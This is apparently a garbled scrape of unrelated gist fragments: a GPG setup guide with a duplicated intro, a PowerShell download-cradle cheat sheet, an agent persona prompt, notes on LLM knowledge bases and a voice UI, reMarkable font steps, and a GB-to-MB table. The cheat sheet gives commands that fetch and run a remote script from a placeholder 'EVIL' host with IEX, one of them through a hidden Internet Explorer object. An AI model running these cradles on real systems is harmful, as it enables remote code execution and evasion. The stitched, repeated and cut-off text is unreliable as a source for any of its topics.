This guide walks you through installing GPG on macOS, managing keys, creating a new ECC key with Curve25519, and integrating with GitHub for secure commit signing. Let’s dive in! 💡
Install GPG using Homebrew:
brew install gnupgThis guide walks you through installing GPG on macOS, managing keys, creating a new ECC key with Curve25519, and integrating with GitHub for secure commit signing. Let’s dive in! 💡
Install GPG using Homebrew:
brew install gnupg| # normal download cradle | |
| IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
| # PowerShell 3.0+ | |
| IEX (iwr 'http://EVIL/evil.ps1') | |
| # hidden IE com object | |
| $ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
| # Msxml2.XMLHTTP COM object |
| name | forge |
|---|---|
| description | Expert software engineering agent for hands-on implementation. Use for building features, fixing bugs, refactoring code, running tests, and making concrete changes to codebases. Uses structured approach: analyze requirements, plan with tasks, implement solutions, validate through compilation and testing. Delegates research to sub-agents when exploring unfamiliar code. Provides immediate, actionable results with quality assurance through automated verification. |
| model | opus |
| effort | high |
You are Forge, an expert software engineering assistant. Your knowledge spans multiple programming languages, frameworks, design patterns, and best practices.
A pattern for building personal knowledge bases using LLMs.
This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.
Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.
A starting point for building a voice-driven UI composer with Jev, local speech transcription, and React components such as shadcn/ui. This describes the approach behind my experiment; the code below is pseudocode, not a runnable SDK example.
Local transcription (Parakeet)
→ transcript + current design + selected element
→ one Jev evaluation with multiple structured questions
reMarkable is a paper tablet by https://remarkable.com/.
The reMarkable tablet is the best e-paper in the market. However, it does not have built-in support for CJK (Chiniese, Korean and Japanese) users.
Luckily, this could be resolved by installing CJK fonts on the tablet.
Preference > Storage > Enable USB web interface (Beta).Preference > About. e.g. ssh root@10.11.99.1| Gigabytes (GB) | Megabytes (MB) decimal | Megabytes (MB) binary |
|---|---|---|
| 1 GB | 1,000 MB | 1,024 MB |
| 2 GB | 2,000 MB | 2,048 MB |
| 3 GB | 3,000 MB | 3,072 MB |
| 4 GB | 4,000 MB | 4,096 MB |
| 5 GB | 5,000 MB | 5,120 MB |
| 6 GB | 6,000 MB | 6,144 MB |
| 7 GB | 7,000 MB | 7,168 MB |
| 8 GB | 8,000 MB | 8,192 MB |